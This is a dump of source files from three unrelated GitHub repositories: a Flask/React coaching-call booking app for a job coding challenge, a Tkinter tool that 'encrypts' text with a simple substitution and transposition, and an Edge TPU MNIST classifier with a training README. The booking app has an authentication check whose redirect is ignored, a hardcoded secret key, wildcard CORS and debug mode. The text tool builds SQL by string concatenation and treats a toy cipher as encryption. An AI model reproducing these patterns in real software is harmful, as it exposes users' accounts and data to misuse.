"55fe731d06232853c33f24c06763b913eb146944", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3116, "license_type": "no_license", "max_line_length": 123, "num_lines": 93, "path": "/app.py", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "from flask import Flask, request, redirect, render_template, session, flash, jsonify\nfrom server.config import app, db\nfrom server.models.users_appointments import User, validate_user, login_user, Appointment, validate_appointment\nfrom server.utils.helpers import crossdomain\nfrom time import time\n\[email protected]('/')\ndef index():\n check_user()\n return render_template('index.html')\n\[email protected]('/register', methods=[\"POST\"])\ndef register():\n user_info = request.form\n valid_registration_form = validate_user(user_info)\n if not valid_registration_form['status']:\n flash(valid_registration_form['errors'])\n return redirect('/')\n else:\n new_user = User(user_info['first_name'], user_info['last_name'], user_info['email'], user_info['password'])\n db.session.add(new_user)\n db.session.commit()\n session['user_id'] = new_user.id\n return redirect('/dashboard')\n\[email protected]('/login', methods=[\"POST\"])\ndef login():\n valid_login_user = login_user(request.form)\n if not valid_login_user['status']:\n flash(valid_login_user['errors'])\n return redirect('/')\n else:\n session['user_id'] = valid_login_user['user_id']\n return redirect('/dashboard')\n\[email protected]('/dashboard')\ndef dashboard():\n check_user()\n return render_template('dashboard.html')\n\[email protected]('/my_calendar')\n@crossdomain(origin='*')\ndef my_calendar():\n my_calendar = Appointment.query.filter_by(client_user_id=session['user_id']).all()\n return jsonify(my_calendar=[appointment.serialize for appointment in my_calendar])\n\[email protected]('/coaches')\n@crossdomain(origin='*')\ndef coaches():\n coach_level = 99\n coaches = User.query.filter_by(user_level=coach_level).all()\n return jsonify(coaches=[i.serialize for i in coaches])\n\[email protected]('/coaches_appointments/<id>')\n@crossdomain(origin='*')\ndef show_coaches(id):\n coach_appointments = Appointment.query.filter_by(coach_user_id=id).all()\n coach = User.query.filter_by(id=id).first()\n return jsonify(coach_appointments=[appointment.serialize for appointment in coach_appointments], coach=coach.serialize)\n\[email protected]('/appointments/<coach_id>', methods=[\"POST\", \"OPTIONS\"])\n@crossdomain(origin='*')\ndef appointments(coach_id):\n check_user()\n app_info = request.json\n valid_app = validate_appointment(app_info, coach_id, session['user_id'])\n if valid_app:\n new_app = Appointment(app_info['start_time'], app_info['date'], session['user_id'], coach_id)\n db.session.add(new_app)\n db.session.commit()\n else:\n return jsonify(status=False, errors='Conflict in schedule!')\n return jsonify(status=True) \n\[email protected]('/appointments/delete/<id>', methods=[\"POST\"])\n@crossdomain(origin='*')\ndef delete_appointment(id):\n check_user()\n Appointment.query.filter_by(id=id).delete()\n db.session.commit()\n return jsonify(status=True)\n\[email protected]('/logout')\ndef logout():\n session.clear()\n return redirect('/')\n\ndef check_user():\n if 'user_id' not in session:\n return redirect('/')\n\nif __name__ == \"__main__\":\n app.run(debug=True)" }, { "alpha_fraction": 0.5659863948822021, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 26.259260177612305, "blob_id": "3df37fb9aa608f8cdb9cdcae619f32401db45c30", "content_id": "5f312faabc5384f644682c41277ebc383d74dbb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 735, "license_type": "no_license", "max_line_length": 107, "num_lines": 27, "path": "/server/config.py", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "from flask import Flask \nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bcrypt import Bcrypt\n\napp = Flask(__name__, static_url_path='/static')\nbcrypt = Bcrypt(app)\n\n\n# Evrything below should be an env var but wanted to let everyone run a server if need be\n# ------------------------------------------------------\napp.secret_key = \"PythonIsAweseome\"\n\nPOSTGRES = {\n 'user': 'postgres',\n 'pw': '',\n 'db': 'arivale-calendar',\n 'host': 'localhost',\n 'port': '6789'\n}\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://%(user)s:\\%(pw)s@%(host)s:%(port)s/%(db)s' % POSTGRES\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\n\n# ------------------------------------------------------\n\ndb = SQLAlchemy()\ndb.init_app(app)" }, { "alpha_fraction": 0.5449438095092773, "alphanum_fraction": 0.567415714263916, "avg_line_length": 18.77777862548828, "blob_id": "18dba265b7766b2cbbff6000fd6f10491e253e4e", "content_id": "ea2a24ac59d5ab01f330ac9b6d1670f9b5f654f8", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "JavaScript", "length_bytes": 178, "license_type": "no_license", "max_line_length": 42, "num_lines": 9, "path": "/react-calendar/src/comps/calendar.js", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "import React, { Component, } from \"react\";\n\nconst Calendar = ( ) => (\n <div className=\"col s12 m6 l6\">\n <div id=\"calendar\" />\n </div>\n );\nexport default Calendar\n;\n" }, { "alpha_fraction": 0.4655532240867615, "alphanum_fraction": 0.4759916365146637, "avg_line_length": 46.92499923706055, "blob_id": "b5498fa04e062baec74e3abbc459736ec48a54bf", "content_id": "cf8e4e8a2eed6953269482642385354f5a3b7609", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "JavaScript", "length_bytes": 1916, "license_type": "no_license", "max_line_length": 164, "num_lines": 40, "path": "/react-calendar/src/comps/createModal.js", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "import React, { Component, } from \"react\";\nimport Dialog from \"material-ui/Dialog\";\nimport MuiThemeProvider from \"material-ui/styles/MuiThemeProvider\";\n\nconst CreateModal = ( { createAppointment, closeModal, isModalOpen, error, } ) => {\n let timeInput = null;\n return (\n <MuiThemeProvider>\n <Dialog\n title=\"Your Next Appointment\"\n className={ \"appointment-modal\" }\n open={ isModalOpen }\n onRequestClose={ closeModal }\n modal={ false }\n >\n <div className=\"row\">\n <form onSubmit={ e => createAppointment( e, timeInput.value ) } className=\"col s12\">\n <div className=\"row\">\n <div className=\"input-field col s12\">\n <input type=\"time\" required name=\"start_time\" min=\"08:00:00\" max=\"20:00:00\" step=\"60\" ref={ ( input ) => { timeInput = input; } } />\n <label htmlFor=\"start_time\" className=\"active\">Start Time</label>\n </div>\n </div>\n <div className=\"modal-footer\">\n <div className=\"input-field col s12\">\n <button className=\"btn red waves-effect waves-light left\" onClick={ () => closeModal() }>Close</button>\n <button className=\"btn cyan waves-effect waves-light right\" type=\"submit\" name=\"action\">Submit\n <i className=\"mdi-content-send right\" />\n </button>\n </div>\n </div>\n\n </form>\n </div>\n { error ? <div className=\"red\"> Conflict in schedule! </div> : null }\n </Dialog>\n </MuiThemeProvider>\n );\n};\nexport default CreateModal;" }, { "alpha_fraction": 0.6262098550796509, "alphanum_fraction": 0.6291134357452393, "avg_line_length": 39.68503952026367, "blob_id": "2c357905923157d24329f69177bc18e679d7cbe6", "content_id": "72142d55e0d3c5284e843d4c6aa70c1f65ab5092", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5166, "license_type": "no_license", "max_line_length": 113, "num_lines": 127, "path": "/server/models/users_appointments.py", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "from server.config import db, bcrypt\nimport re\nfrom sqlalchemy.orm import relationship\nfrom datetime import datetime, timedelta, date\n\n\nEMAIL_REGEX = re.compile(r'^[a-zA-Z0-9\\.\\+_-]+@[a-zA-Z0-9\\._-]+\\.[a-zA-Z]*$')\nPW_REGEX = re.compile(r'[A-Za-z0-9@#$%^&+=]{8,}')\n\nclass User(db.Model):\n __tablename__ = 'users'\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n first_name = db.Column(db.String, nullable=False)\n last_name = db.Column(db.String, nullable=False)\n email = db.Column(db.String, nullable=False, unique=True)\n password = db.Column(db.String, nullable=False)\n created_at = db.Column(db.DateTime, nullable=False)\n updated_at = db.Column(db.DateTime, nullable=False)\n user_level = db.Column(db.Integer, nullable=False)\n appointments = relationship(\"Appointment\", foreign_keys = 'Appointment.client_user_id')\n\n def __init__(self, first, last, email, pw, user_level=1):\n self.first_name = first\n self.last_name = last\n self.email = email.decode('utf-8').lower()\n self.password = bcrypt.generate_password_hash(pw)\n self.created_at = datetime.now()\n self.updated_at = datetime.now()\n self.user_level = user_level\n\n @property\n def serialize(self):\n return {\n 'id': self.id,\n 'first_name': self.first_name,\n 'last_name': self.last_name,\n 'appointments': self.appointments\n }\n\nclass Appointment(db.Model):\n \n __tablename__ = 'appointments'\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n start_time = db.Column(db.Time, nullable=False)\n date = db.Column(db.Date, nullable=False)\n client_user_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False)\n coach_user_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False)\n coach = db.relationship('User', backref='coach_user_id',foreign_keys = 'Appointment.coach_user_id')\n client = db.relationship('User', backref='client_user_id',foreign_keys = 'Appointment.client_user_id')\n created_at = db.Column(db.DateTime, nullable=False)\n updated_at = db.Column(db.DateTime, nullable=False)\n\n def __init__(self, start_time, date, client_user_id, coach_user_id, id=None):\n self.id = id\n self.start_time = start_time\n self.date = date\n self.client_user_id = client_user_id\n self.coach_user_id = coach_user_id\n self.created_at = datetime.now()\n self.updated_at = datetime.now()\n \n @property\n def serialize(self):\n return {\n 'id': self.id,\n 'start_time': self.start_time.isoformat(),\n 'date': self.date.isoformat(),\n 'coach': self.coach.serialize\n }\n\ndef validate_user(data):\n errors = []\n if len(data['first_name']) < 2:\n errors.append('First name must be at least 2 characters long.')\n if len(data['last_name']) < 2:\n errors.append('Last name must be at least 2 characters long.')\n if not data['email']:\n errors.append('Email field in required')\n if not EMAIL_REGEX.match(data['email']):\n errors.append('Enter a valid email')\n if not PW_REGEX.match(data['password']):\n errors.append('Password must have an uppercase, lowercase and special character to be valid.')\n if data['password'] != data['confirm_password']:\n errors.append('Password and Confirm Password must match.')\n user = User.query.filter_by(email=data['email']).first()\n if user:\n errors.append('Email already exists')\n response = {}\n if errors:\n response['status'] = False\n response['errors'] = errors\n else:\n response['status'] = True\n\n return response\n\ndef login_user(data):\n user = User.query.filter_by(email=data['email']).first()\n errors = []\n response = { 'status': False }\n if user:\n if bcrypt.check_password_hash(str(user.password), data['password']): \n response['status'] = True\n response['user_id'] = user.id\n if not response['status']:\n errors.append('Invalid email/password combination.')\n response['errors'] = errors\n return response\n\ndef validate_appointment(app_info, coach_user_id, client_user_id):\n coaches_appointments = Appointment.query.filter_by(date=app_info['date'], coach_user_id=coach_user_id).all()\n client_appointments = Appointment.query.filter_by(date=app_info['date'], client_user_id=client_user_id).all()\n flagger = True\n for coach_appointment in coaches_appointments:\n s_time = coach_appointment.start_time\n e_time = (datetime.combine(date.today(), s_time) + timedelta(hours=1)).time()\n app_time = datetime.strptime(app_info['start_time'], '%H:%M').time()\n if s_time <= app_time <= e_time:\n flagger = False\n for client_appointment in client_appointments:\n s_time = client_appointment.start_time\n e_time = (datetime.combine(date.today(), s_time) + timedelta(hours=1)).time()\n app_time = datetime.strptime(app_info['start_time'], '%H:%M').time()\n if s_time <= app_time <= e_time:\n flagger = False\n return flagger" }, { "alpha_fraction": 0.7759336233139038, "alphanum_fraction": 0.7759336233139038, "avg_line_length": 39.25, "blob_id": "9f9e7cf32b540d02886c27db595318119577f0d9", "content_id": "ac93f57fe1f1c73c797a912c2f65639a7829370c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 484, "license_type": "no_license", "max_line_length": 342, "num_lines": 12, "path": "/readme.md", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "# Arivale\n\nCode challenge for a Software Engineer role at Arivale.\n\n#### Challenge Prompt\nClients need to schedule coaching calls on a monthly basis. We want to create a web-based experience that makes it easy for clients to schedule a call. Clients should be able to see their coach’s availability and then book hour long coaching slot. Once a slot is booked, other clients should not be able to book that slot with the same coach.\n\n#### Tech Utilized\n\n- ReactJS\n- Flask\n- Postgres" }, { "alpha_fraction": 0.5871211886405945, "alphanum_fraction": 0.5946969985961914, "avg_line_length": 45.588233947753906, "blob_id": "284cf026bfb5c66139fa492ba7d12884a354d6fc", "content_id": "d4518c90dce9a68c4c635febe41c6c72e60a416f", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "JavaScript", "length_bytes": 792, "license_type": "no_license", "max_line_length": 288, "num_lines": 17, "path": "/react-calendar/src/comps/coachSelect.js", "repo_name": "krisekenes/arivale", "src_encoding": "UTF-8", "text": "import React, { Component, } from \"react\";\n\nconst CoachSelect = ( { changeCoach, coaches, active, } ) => {\n function checkActive( activeName, iterName ) {\n return activeName === iterName;\n }\n const coachOptions = coaches.map( item => <a href=\"#!\" className={ checkActive( active.last_name, item.last_name ) ? \"collection-item active\" : \"collection-item\" } key={ item.id } value={ item.id } onClick={ e => changeCoach( e, item.id ) }> {item.first_name} {item.last_name}</a> );\n return (\n <div className=\"col s12 m6 l2 \">\n <h5 className=\"Header\">Pick a Coach:</h5>\n <div className=\"coachSelector\">\n <div href=\"#!\" className=\"collection\">{coachOptions}</div>\n </div>\n </div>\n );\n};\nexport default CoachSelect;\n" } ]
8
Ammar-Ali1993/text-encryption
https://github.com/Ammar-Ali1993/text-encryption
f14520d9b013260700957cec4b0a204221222cca
a9ee2d9dd41e2666cf0c0e717dfe38d063bb5aef
569d298af24f4cd1b23f874ce0e696fc3801a5f0
refs/heads/master
2023-03-20T13:05:24.547151
2021-03-13T11:24:34
2021-03-13T11:24:34
346,997,711
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7821011543273926, "alphanum_fraction": 0.7898832559585571, "avg_line_length": 41.83333206176758, "blob_id": "b2069fe950ec8ab4b5abe20dc0cba1abb83e4a38", "content_id": "464dbc497ba7eb1a437c351aba3588e170dbe4a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 257, "license_type": "no_license", "max_line_length": 149, "num_lines": 6, "path": "/README.md", "repo_name": "Ammar-Ali1993/text-encryption", "src_encoding": "UTF-8", "text": "# text-encryption\nEncrypt and decrypt text using Caesar and other methods\n\nA simple python script without any external library, just download and run and all you need is a python interperter. Python 3.6.* + is recommended. \n\nProgram starts at interface.py\n" }, { "alpha_fraction": 0.4746136963367462, "alphanum_fraction": 0.50772625207901, "avg_line_length": 21.5, "blob_id": "9f88939e5d490cce624b71f4da6097fa3ecf2e17", "content_id": "90e19e0c75668f16ff34f74c2bac7e2aba58d4a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 453, "license_type": "no_license", "max_line_length": 55, "num_lines": 20, "path": "/transpose.py", "repo_name": "Ammar-Ali1993/text-encryption", "src_encoding": "UTF-8", "text": "class Transpose:\n\n def __init__(self):\n self.map = [5, 10, 6, 8, 1, 3, 9, 4, 7, 2]\n\n def encrypt(self,text):\n\n returnString=''\n for i in self.map:\n returnString += text[i-1]\n return returnString\n\n def decrypt(self,text):\n\n returnString = ''\n counter=0\n for i in self.map:\n returnString += text[self.map[counter] - 1]\n counter += 1\n return returnString\n\n\n\n" }, { "alpha_fraction": 0.504780113697052, "alphanum_fraction": 0.511790931224823, "avg_line_length": 26.36842155456543, "blob_id": "fd8093792d7d3f40503dad04c10c8ad9d8373813", "content_id": "c0599ac94530fea9f98b68b2145dde18b666ac8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1569, "license_type": "no_license", "max_line_length": 76, "num_lines": 57, "path": "/handler.py", "repo_name": "Ammar-Ali1993/text-encryption", "src_encoding": "UTF-8", "text": "import transpose\nimport replace\nimport db\n\nclass Handler:\n\n def __init__(self):\n self.db = db.DB()\n self.n = int(self.db.getPropery('sections')[0][2])\n dbBehavrior = list(self.db.getPropery('behavior')[0][2])\n integerBehavrior = map(int, dbBehavrior)\n self.behavior = list(integerBehavrior)\n\n def execute(self,text, type):\n\n text = self.__processText(text)\n chunks = self.__seperate(text)\n returnString=''\n counter = 0\n transposeObject = transpose.Transpose()\n replaceObject = replace.Replace()\n for i in chunks:\n try:\n action = self.behavior[counter]\n except:\n print(i)\n exit()\n\n if type =='encrypt':\n if action:\n returnString += transposeObject.encrypt(i)\n else:\n returnString += replaceObject.encrypt(i)\n else:\n if action:\n returnString += transposeObject.decrypt(i)\n else:\n returnString += replaceObject.decrypt(i)\n\n if counter == len(self.behavior)-1:\n counter = 0\n else:\n counter +=1\n return returnString\n\n def __processText(self,text):\n return text.lower()\n\n\n\n\n\n def __seperate(self,text):\n\n chunks = [text[i:i + self.n] for i in range(0, len(text), self.n)]\n chunks[len(chunks) - 1] = chunks[len(chunks) - 1].ljust(self.n, ' ')\n return chunks\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5707090497016907, "alphanum_fraction": 0.58194500207901, "avg_line_length": 30.814815521240234, "blob_id": "934130e05c658d5379eaee9aea9ae0be3f0b4175", "content_id": "d37446c9bc39ccd6c059cb3e706ce0dca4dd40d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2581, "license_type": "no_license", "max_line_length": 119, "num_lines": 81, "path": "/db.py", "repo_name": "Ammar-Ali1993/text-encryption", "src_encoding": "UTF-8", "text": "import sqlite3\n\n\nclass DB:\n def __init__(self, dbname=\"db.sqlite\"):\n self.dbname = dbname\n try:\n self.conn = sqlite3.connect(dbname)\n except sqlite3.Error as e:\n print('DB falied to connect sqlite3 error')\n self.setupTable()\n self.setupDefaultProperties()\n\n def setupTable(self):\n stmt = \"CREATE TABLE IF NOT EXISTS settings (id integer PRIMARY KEY, type text not null , value text not null)\"\n self.conn.execute(stmt)\n self.conn.commit()\n\n def addPropery(self, type, value):\n stmt = \"INSERT INTO settings (type, value) VALUES (?,?)\"\n args = (type, value)\n try:\n self.conn.execute(stmt, args)\n self.conn.commit()\n except sqlite3.IntegrityError as e:\n print('insert failed, DB error')\n\n def setupDefaultProperties(self):\n\n sectionsAvailable = self.getPropery('sections')\n if not sectionsAvailable:\n self.addPropery('sections','10')\n\n behavriorAvailable = self.getPropery('behavior')\n if not behavriorAvailable:\n self.addPropery('behavior', '1010')\n\n behavriorAvailable = self.getPropery('behavior')\n if not behavriorAvailable:\n self.addPropery('behavior', '1010')\n\n mapAvailable = self.getPropery('replace_map')\n if not mapAvailable:\n self.addPropery('replace_map', 'npbokrcdefyzjlqsuvwghitaxm')\n\n mapAvailable = self.getPropery('transpose_map')\n if not mapAvailable:\n self.addPropery('transpose_map', '51068139472')\n\n mapAvailable = self.getPropery('space_replacement')\n if not mapAvailable:\n self.addPropery('space_replacement', '^')\n\n def getPropery(self,propery):\n\n cur = self.conn.cursor()\n cur.execute(\"SELECT * FROM settings where type='\"+propery+\"'\")\n result = cur.fetchall()\n if len(result) == 0:\n return False\n else :\n return result\n\n def getAllProperies(self):\n\n cur = self.conn.cursor()\n cur.execute(\"SELECT * FROM settings\")\n result = cur.fetchall()\n if len(result) == 0:\n return False\n else:\n return result\n\n def updatePropery(self, type, value):\n stmt = \"UPDATE settings set value = ? where type=? )\"\n args = (value, type)\n try:\n self.conn.execute(stmt, args)\n self.conn.commit()\n except sqlite3.IntegrityError as e:\n print('insert failed, DB error')\n\n\n\n\n" }, { "alpha_fraction": 0.573825478553772, "alphanum_fraction": 0.5771812200546265, "avg_line_length": 23.224489212036133, "blob_id": "3ad95f3ca7023af113340b3260014d0dd20e7086", "content_id": "207de244dd365e437d296d5617b37fbcb65f4a05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1192, "license_type": "no_license", "max_line_length": 77, "num_lines": 49, "path": "/replace.py", "repo_name": "Ammar-Ali1993/text-encryption", "src_encoding": "UTF-8", "text": "import string\nimport db\n\n\nclass Replace:\n\n def __init__(self):\n\n self.db = db.DB()\n self.spaceReplacement = self.db.getPropery('space_replacement')[0][2]\n self.map = self.db.getPropery('replace_map')[0][2]\n\n def encrypt(self,text):\n returnString=''\n for i in text:\n encryptedChar = self.__encryptLetter(i)\n returnString += encryptedChar\n return returnString\n\n\n def decrypt(self,text):\n returnString = ''\n for i in text:\n decryptedLetter = self.__decryptLetter(i)\n returnString += decryptedLetter\n return returnString\n\n def __getLetterIndex(self, letter):\n\n try:\n return string.ascii_lowercase.index(letter)\n except:\n return self.spaceReplacement\n\n def __encryptLetter(self,letter):\n\n letterIndex=self.__getLetterIndex(letter)\n try:\n return self.map[letterIndex]\n except:\n return self.spaceReplacement\n\n def __decryptLetter(self, letter):\n\n try:\n index = self.map.index(letter)\n return string.ascii_lowercase[index]\n except:\n return ' '\n\n\n\n\n\n" }, { "alpha_fraction": 0.5680190920829773, "alphanum_fraction": 0.6027957797050476, "avg_line_length": 28.636363983154297, "blob_id": "341c94c46ac25a3bde60d455e6d9e106efb19207", "content_id": "63659f59f2620d50301b329d8ffdc9facb285f4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2933, "license_type": "no_license", "max_line_length": 99, "num_lines": 99, "path": "/interface.py", "repo_name": "Ammar-Ali1993/text-encryption", "src_encoding": "UTF-8", "text": "from tkinter import Tk, Text, TOP, BOTH, X, N, LEFT, StringVar\nfrom tkinter.ttk import Frame, Label, Entry, Button, Radiobutton, Combobox\nimport handler\nimport db\n\nclass MainWindow(Frame):\n\n def __init__(self):\n super().__init__()\n self.db = db.DB()\n self.handler = handler.Handler()\n self.initUI()\n\n\n def initUI(self):\n\n self.master.title(\"Text Encryption\")\n self.pack(fill=BOTH, expand=True)\n\n self.frame1 = Frame(self)\n self.frame1.pack()\n\n self.lbl3 = Label(self.frame1, text=\"original text\", width=25)\n self.lbl3.pack(side=LEFT, anchor=N, padx=5, pady=5)\n\n self.txt = Text(self.frame1, width=100, height=10)\n self.txt.pack(fill=BOTH, pady=25, padx=25, expand=True)\n\n self.frame2 = Frame(self)\n self.frame2.pack()\n self.btn1 = Button(self.frame2, text=\"process\", command=self.pushButton)\n self.btn1.pack()\n self.type = StringVar(self.frame2, \"encrypt\")\n self.radio1 = Radiobutton(self.frame2, text='encrypt', value='encrypt', variable=self.type)\n self.radio2 = Radiobutton(self.frame2, text='decrypt', value='decrypt', variable=self.type)\n self.radio1.pack()\n self.radio2.pack()\n\n\n self.frame5 = Frame(self)\n self.frame5.pack()\n self.lbl4 = Label(self.frame5, text=\"processed text\", width=25)\n self.lbl4.pack(side=LEFT, anchor=N, padx=5, pady=5)\n\n self.txt1 = Text(self.frame5, width=100, height=10)\n self.txt1.pack( pady=25, padx=25 )\n\n self.frame6 = Frame(self)\n self.frame6.pack()\n self.lbl5 = Label(self.frame6, text=\"settings\", width=10)\n self.lbl5.pack(side=LEFT, anchor=N, padx=5, pady=5)\n\n #setting up the combo\n allProperties = self.db.getAllProperies()\n comboContent = []\n for x in allProperties:\n comboContent.append(x[1])\n self.combo = Combobox(self.frame6,text= 'preporty', values=comboContent)\n self.combo.pack()\n\n self.combo.bind('<<ComboboxSelected>>', self.comboModified)\n\n self.frame7 = Frame(self)\n self.frame7.pack()\n\n self.lbl6 = Label(self.frame7, text=\"value\", width=10)\n self.lbl6.pack(side=LEFT, anchor=N, padx=5, pady=5)\n\n\n self.entry = Entry(self.frame7)\n self.entry.pack()\n\n self.btn2 = Button(self.frame7, text='Save')\n self.btn2.pack()\n\n def comboModified(self, event):\n self.entry.delete('0','end')\n self.entry.insert('0',self.db.getPropery(self.combo.get())[0][2])\n\n def pushButton(self):\n\n\n input = (self.txt.get(\"1.0\",'end-1c'))\n #print(self.type.get())\n self.txt1.delete(\"1.0\",\"end-1c\")\n self.txt1.insert(\"1.0\",self.handler.execute(input,self.type.get()))\n\n\n\ndef main():\n\n root = Tk()\n root.geometry(\"600x600+300+300\")\n app = MainWindow()\n root.mainloop()\n\n\nif __name__ == '__main__':\n main()" } ]
6
NobuoTsukamoto/edge_tpu_mnist
https://github.com/NobuoTsukamoto/edge_tpu_mnist
299d14f67fcdb575ad9ef240b801bb86f535f4b4
35ee0f3808512961993370b1c84da7e2bdc2b512
1689a2b4450a89a400660b2049b25ab3ebd64f1f
refs/heads/master
2020-05-29T22:37:51.906492
2019-06-03T12:35:58
2019-06-03T12:35:58
189,412,406
8
0
null
null
null
null
null
[ { "alpha_fraction": 0.5376926064491272, "alphanum_fraction": 0.5501874089241028, "avg_line_length": 26.272727966308594, "blob_id": "f2d6d97c25eddfeb11e8ea9d11a4882b2661a7cf", "content_id": "6e0d20024ed588d2f664774c754fdbd5e70bd5bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2401, "license_type": "permissive", "max_line_length": 84, "num_lines": 88, "path": "/classify/classify_mnist.py", "repo_name": "NobuoTsukamoto/edge_tpu_mnist", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n Edge TPU MNIST classify.\n\n Copyright (c) 2019 Nobuo Tsukamoto\n\n This software is released under the MIT License.\n See the LICENSE file in the project root for more information.\n\"\"\"\n\nimport sys\nimport argparse\nimport io\nimport time\nimport random\n\nfrom mnist_data import load_mnist\n\nimport numpy as np\nfrom edgetpu.basic.basic_engine import BasicEngine\nfrom PIL import Image\n\ndef display(img):\n print('+----------------------------+')\n for y in range(0, 28):\n sys.stdout.write('|')\n for x in range(0, 28):\n if img[y*28+x] < 128:\n sys.stdout.write(\" \")\n elif img[y*28+x] < 200:\n sys.stdout.write(\"*\")\n else:\n sys.stdout.write(\"+\")\n sys.stdout.write('|\\n')\n print('+----------------------------+')\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--model', help='File path of Tflite model.', required=True)\n parser.add_argument(\n '--data_set', help='Whether to use \\\"train\\\" or \\\"test\\\" dataset.',\n type=str, default='test')\n parser.add_argument(\n '--display', help='Whether to display the image on the consol3.',\n default=True)\n args = parser.parse_args()\n\n # load mnist data.\n (x_train, t_train), (x_test, t_test) = load_mnist(flatten=True, normalize=False)\n\n # Initialize engine.\n engine = BasicEngine(args.model)\n\n # get mnist data.\n if args.data_set == 'train':\n index = random.randint(0, len(x_train) - 1)\n img = x_train[index]\n label = t_train[index]\n else:\n index = random.randint(0, len(x_test) - 1)\n img = x_test[index]\n label = t_test[index]\n\n # display image.\n if args.display:\n display(img)\n\n # Run inference.\n array_size = engine.required_input_array_size()\n\n print('\\n------------------------------')\n print('Run infrerence.')\n print(' required_input_array_size: ', array_size)\n print(' input shape: ', img.shape)\n\n result = engine.RunInference(img)\n print('------------------------------')\n print('Result.')\n print('Inference latency: ', result[0], ' milliseconds')\n print('Output tensor: ', result[1])\n print('Inference: ', np.argmax(result[1]))\n print('Label : ', label)\n\nif __name__ == '__main__':\n main()\n\n" }, { "alpha_fraction": 0.7368420958518982, "alphanum_fraction": 0.7461163997650146, "avg_line_length": 37.50893020629883, "blob_id": "b411dd27effbcd22f30a2022cf115713d702d3f8", "content_id": "8cc9aac471874a52e94b1a8fe31073acbd3ec87e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4313, "license_type": "permissive", "max_line_length": 200, "num_lines": 112, "path": "/README.md", "repo_name": "NobuoTsukamoto/edge_tpu_mnist", "src_encoding": "UTF-8", "text": "# Create Own Edge TPU Model.\n\n## About\nThe Edge TPU has a great sample.\nHowever, the samples are only image classification(slim) and object detection(object detection api), and there is no way to build and learn your own model.<br>\nThis is a sample for converting your own model from learning to Edge TPU Model.<br>\nThe model uses TensorFlow's MNIST Network sample (fully_connected_feed).<br>\n\n## Environment\n- Coral USB Accelerator(May be Devboard)\n\n## Installation\n- Tensorflow (Learning only)\n- Edge TPU Python library [(Get started with the USB Accelerator)](https://coral.withgoogle.com/tutorials/accelerator/)\n\n## How to Train\n\n### 1.Create Model and Quantization-aware training\nIt is a sample of Jupyter notebook.<br>\nThis sample is based on the Tensorflow tutorial [(MNIST fully_connected_feed.py)](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/examples/tutorials/mnist/fully_connected_feed.py).<br>\nOpen train/MNIST_fully_connected_feed.ipynb and Run All.<br>\nWhen learning is complete, a model is generated in the following directory:\n```\n train\n + logs\n | + GraphDef\n + checkpoint\n + model.ckpt-xxxx.data-00000-of-00001\n + model.ckpt-xxxx.index\n + model.ckpt-xxxx.meta \n + mnist_fully_connected_feed_graph.pb\n```\n\nmodel.ckpt is a ckecpoint file.<br>\nThe number of learning steps is recorded in \"xxxx\".<br>\nThe default is 4999 maximum.\nmnist_fully_connected_feed_graph.pb is a GrarhDef file.\n\nThe GraphDef directory contains the structure of the model.<br>\nYou can check with tensorboard.<br>\n(Move dir and ```tensorboard --logdir=./```)\n\n\"Quantization-aware training\" is required to generate Edge TPU Model.<br>\nSee [Quantization-aware training](https://github.com/tensorflow/tensorflow/tree/master/tensorflow/contrib/quantize) for details.\n\n### 2.Freeze Graph\nConverts checkpoint variables into Const ops in a standalone GraphDef file.<br>\nUse the freeze_graph command.<br>\nThe freeze_mnist_fully_connected_feed_graph.pb file is generated in the logs directory.<br>\n```\n$ freeze_graph \\\n --input_graph=./logs/mnist_fully_connected_feed_graph.pb \\\n --input_checkpoint=./logs/model.ckpt-4999 \\\n --input_binary=true \\\n --output_graph=./logs/freeze_mnist_fully_connected_feed_graph.pb \\\n --output_node_names=softmax_tensor\n```\n \n### 3.Convert TF-Lite Model\nGenerate a TF-Lite model using the tflite_convert command.<br>\nThe output_tflite_graph.tflite file is generated in the logs directory.<br>\n```\n$ tflite_convert \\\n --output_file=./logs/output_tflite_graph.tflite \\\n --graph_def_file=./logs/freeze_mnist_fully_connected_feed_graph.pb \\\n --inference_type=QUANTIZED_UINT8 \\\n --input_arrays=input_tensor \\\n --output_arrays=softmax_tensor \\\n --mean_values=0 \\\n --std_dev_values=255 \\\n --input_shapes=\"1,784\"\n```\n\n### 4.Compile Edge TPU Model\nCompile the TensorFlow 